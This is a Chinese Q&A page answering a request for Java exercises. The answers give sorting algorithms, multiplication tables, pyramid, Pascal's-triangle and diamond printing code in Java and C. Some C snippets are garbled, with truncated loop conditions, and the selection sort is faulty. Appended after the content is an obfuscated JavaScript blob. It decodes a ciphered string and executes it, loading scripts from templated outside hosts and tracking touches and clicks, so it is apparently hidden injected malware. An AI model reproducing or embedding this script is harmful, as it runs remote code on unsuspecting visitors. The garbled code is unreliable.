100分奉上!!小弟有点Java程序的问题!

2025-02-26 02:59:36
推荐回答(4个)
回答(1):

1,冒泡排序
1. /**
2. * JAVA排序算法实现代码-冒泡(Bubble Sort)排序。
3. *
4. *
5. *
6. */
7. public class Test {
8. public static void main(String[] args) {
9. int[] a = { 10, 32, 1, 9, 5, 7, 12, 0, 4, 3 };
10.
11. System.out.print("排序前: ");
12.
13. for (int i = 0; i < a.length; i++)
14. System.out.printf("%3s", a[i]);
15.
16. System.out.println();
17.
18. Test test = new Test();
19. test.bubbleSort(a);
20.
21. System.out.print("排序后: ");
22.
23. for (int i = 0; i < a.length; i++)
24. System.out.printf("%3s", a[i]);
25.
26. System.out.println();
27. }
28.
29. public void bubbleSort(int[] a) {
30. int len = a.length;
31.
32. System.out.println("数组大小是:" + len);
33.
34. boolean change = false;
35. int temp;
36. int count = 0;
37.
38. for (int i = len; i > 1; i--) {
39. for (int j = 0; j < i - 1; j++) {
40. if (a[j + 1] < a[j]) {
41. temp = a[j + 1];
42. a[j + 1] = a[j];
43. a[j] = temp;
44. change = true;
45. count++;
46. }
47.
48. }
49. if (change) {
50. System.out.print("第" + count + "趟交换: ");
51. for (int k = 0; k < len; k++)
52. System.out.print(a[k] + " ");
53.
54. System.out.println();
55. }
56. }
57. }
58. }

2,选择排序
1. /**
2. * JAVA排序算法实现代码-选择(Select)式排序。
3. *
4. *
5. *
6. */
7. public class Test {
8. public static int[] a = { 10, 32, 1, 9, 5, 7, 12, 0, 4, 3 }; // 预设数据数组
9.
10. public static void main(String args[]) {
11. int i; // 循环计数变量
12. int Index = a.length;// 数据索引变量
13.
14. System.out.print("排序前: ");
15. for (i = 0; i < Index - 1; i++)
16. System.out.printf("%3s", a[i]);
17. System.out.println("");
18.
19. SelectSort(Index - 1); // 选择排序
20. // 排序后结果
21. System.out.print("排序后: ");
22. for (i = 0; i < Index - 1; i++)
23. System.out.printf("%3s", a[i]);
24. System.out.println("");
25. }
26.
27. public static void SelectSort(int Index) {
28. int i, j, k; // 循环计数变量
29. int MinValue; // 最小值变量
30. int IndexMin; // 最小值索引变量
31. int Temp; // 暂存变量
32.
33. for (i = 0; i < Index - 1; i++) {
34. MinValue = 32767; // 目前最小数值
35. IndexMin = 0; // 储存最小数值的索引值
36. for (j = i; j < Index; j++) {
37. if (a[j] < MinValue) // 找到最小值
38. {
39. MinValue = a[j]; // 储存最小值
40. IndexMin = j;
41. }
42. Temp = a[i]; // 交换两数值
43. a[i] = a[IndexMin];
44. a[IndexMin] = Temp;
45. }
46.
47. System.out.print("排序中: ");
48. for (k = 0; k < Index; k++)
49. System.out.printf("%3s", a[k]);
50. System.out.println("");
51. }
52. }
53. }

3,交换排序
冒泡排序就是一种交换排序啊
这里给你一个插入排序吧!
1. /**
2. * JAVA排序算法实现代码-插入排序。
3. *
4. *
5. *
6. */
7. public class Test {
8. public static int[] a = { 10, 32, 1, 9, 5, 7, 12, 0, 4, 3 }; // 预设数据数组
9.
10. public static void main(String args[]) {
11. int i; // 循环计数变量
12. int Index = a.length;// 数据索引变量
13.
14. System.out.print("排序前: ");
15. for (i = 0; i < Index - 1; i++)
16. System.out.print(" " + a[i] + " ");
17. System.out.println("");
18.
19. InsertSort(Index - 1); // 选择排序
20. // 排序后结果
21. System.out.print("排序后: ");
22. for (i = 0; i < Index - 1; i++)
23. System.out.print(" " + a[i] + " ");
24. System.out.println("");
25. }
26.
27. public static void InsertSort(int Index) {
28. int i, j, k; // 循环计数变量
29. int InsertNode; // 欲插入数据变量
30.
31. for (i = 1; i < Index; i++) // 依序插入数值
32. {
33. InsertNode = a[i]; // 设定欲插入的数值
34. j = i - 1; // 欲插入数组的开始位置
35. // 找适当的插入位置
36. while (j >= 0 && InsertNode < a[j]) {
37. a[j + 1] = a[j];
38. j--;
39. }
40. a[j + 1] = InsertNode; // 将数值插入
41. // 打印目前排序结果
42. System.out.print("排序中: ");
43. for (k = 0; k < Index; k++)
44. System.out.print(" " + a[k] + " ");
45. System.out.println("");
46. }
47. }
48. }

4,打印九九表:
public class Jiujiu {
public static void main(String args[]) {
Jiujiu jj = new Jiujiu();
jj.test();
}
public void test() {
for (int i = 1; i <= 9; i++) {
System.out.println("");
for (int j = 1; j <= i; j++) {
System.out.print(i + "*" + j + "=" + i * j + "; ");
}
}
}
}
5,打印金字塔
public class Pyramid {

public static void main(String[] args){

for(int i=0;i<10;i++){
for(int j=0;j<2*i+1;j++){
if(j<=i){
System.out.print(" "+(int)Math.pow(2, j));
}else{
System.out.print(" "+(int)Math.pow(2, 2*i-j));
}
}
System.out.println();
}
}
}

6,打印杨辉三角
public class YangHui {
public static void main(String args[]) {
final int ROW = 10;
int a[][] = new int[ROW + 1][];
for (int i = 0; i <= ROW; i++) {
a[i] = new int[i + 1]; // 指定每行的列数

}
yanghui(a, ROW);
}

static void yanghui(int a[][], int ROW) {

for (int i = 0; i <= ROW; i++)
for (int j = 0; j <= a[i].length - 1; j++) {
if (i == 0 || j == 0 || j == a[i].length - 1)
a[i][j] = 1;
else
a[i][j] = a[i - 1][j - 1] + a[i - 1][j];

}
for (int i = 0; i <= ROW; i++) {
for (int j = 0; j <= a[i].length - 1; j++)
System.out.print(a[i][j] + "\t");
System.out.println();
}
}
}

大题不明白你啥意思啊

回答(2):

杨辉③捔

main()
{int i,j;
int a[10][10];
printf("\n");
for(i=0;i<10;i++)
{a[i][0]=1;
a[i][i]=1;}
for(i=2;i<10;i++)
for(j=1;j a[i][j]=a[i-1][j-1]+a[i-1][j];
for(i=0;i<10;i++)
{for(j=0;j<=i;j++)
printf("%5d",a[i][j]);
printf("\n");
}
}

回答(3):

写的C++
九九乘法表
#include
main()
{
int i,j,k;
for (i=1;i<10;i++) {
{printf("\n");}
for(j=1;j<=i;j++)
{
k=i*j;
printf("%d*%d=%d ",i,j,k);
}
printf("\n");
}
system("pause");
return 0;
}
等腰三角形(金字塔)
#include
int main()
{
int i,j,k;
for(i=1;i<5;i++)
{
{if(i==1)
printf(" ");}
for(j=1;j {printf("**");}
{printf("*\n");}
for(k=1;k<=3-i;k++)
{printf(" ");}
}
system("pause");
return 0;
}
直角三角形
#include
int main()
{
int i,k;
for(i=1;i<=6;i++)
{{printf(" ");}
for(k=1;k {
printf("*");
}
printf("*\n");
}
system("pause");
return 0;
}
平行四边形
#include
int main(){
int i,k;
for(i=1;i<5;i++)
{
for(k=1;k {printf(" ");}
printf("*****\n");
}
system("pause");
return 0;

}
JAVA
菱形
public class Ling{
public static void main(String [] args){
for(int i=1;i<5;i++){
for(int k=4;k>i;k--){
System.out.print(" ");
}
for(int j=1;j<=2*i-1;j++){
System.out.print("*");
}
System.out.println();
}

for(int i=1;i<4;i++){
for(int k=1;k<=i;k++){
System.out.print(" ");
}
for(int j=5;j>=2*i-1;j--){
System.out.print("*");
}
System.out.println();
}
}
}
空心菱形
public class LingXing{
public static void main(String [] args){
for(int i=1;i<5;i++){ // i表示行数.上层有四行
for(int k=4;k>i;k--){ //k表示空格 .第一行有三个空格
System.out.print(" ");
}
for(int j=1;j<=2*i-1;j++){ //j表示* 第一行有一个*
if(j==2*i-1||j==1){
System.out.print("*");
}
else{
System.out.print(" ");
}

}
System.out.println();
}

for(int i=1;i<4;i++){
for(int k=1;k<=i;k++){
System.out.print(" ");
}
for(int j=5;j>=2*i-1;j--){
if(j==2*i-1||j==5){
System.out.print("*");
}
else{
System.out.print(" ");
}
}
System.out.println();
}
}
}
冒泡排序 排列一个有5个int型元素的数组 C++
#define N 5
int maopao(int a[],int n){
int i,j,temp;
for(i=0;i for(j=0;j if(a[j]>a[j+1]){
temp=a[j];
a[j]=a[j+1];
a[j+1]=temp;
}
}
}
}
void print(int a[],int n){
int i;
printf("按从小到大顺序输出:\n");
for(i=0;i printf("%5d",a[i]);
printf("\n");
}
void scan(int a[],int n){
int i;
printf("请输入%d个数:\n",n);
for(i=0;i scanf("%d",&a[i]);
}
main(){
int a[N];
scan(a,N);
maopao(a,N);
print(a,N);
system("pause");
return 0;
}

回答(4):

main()
{int i,j;
int a[10][10];
printf("\n");
for(i=0;i<10;i++)
{a[i][0]=1;
a[i][i]=1;}
for(i=2;i<10;i++)
for(j=1;ja[i][j]=a[i-1][j-1]+a[i-1][j];
for(i=0;i<10;i++)
{for(j=0;j<=i;j++)
printf("%5d",a[i][j]);
printf("\n");
}
}
这是JAVA代码吗?

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();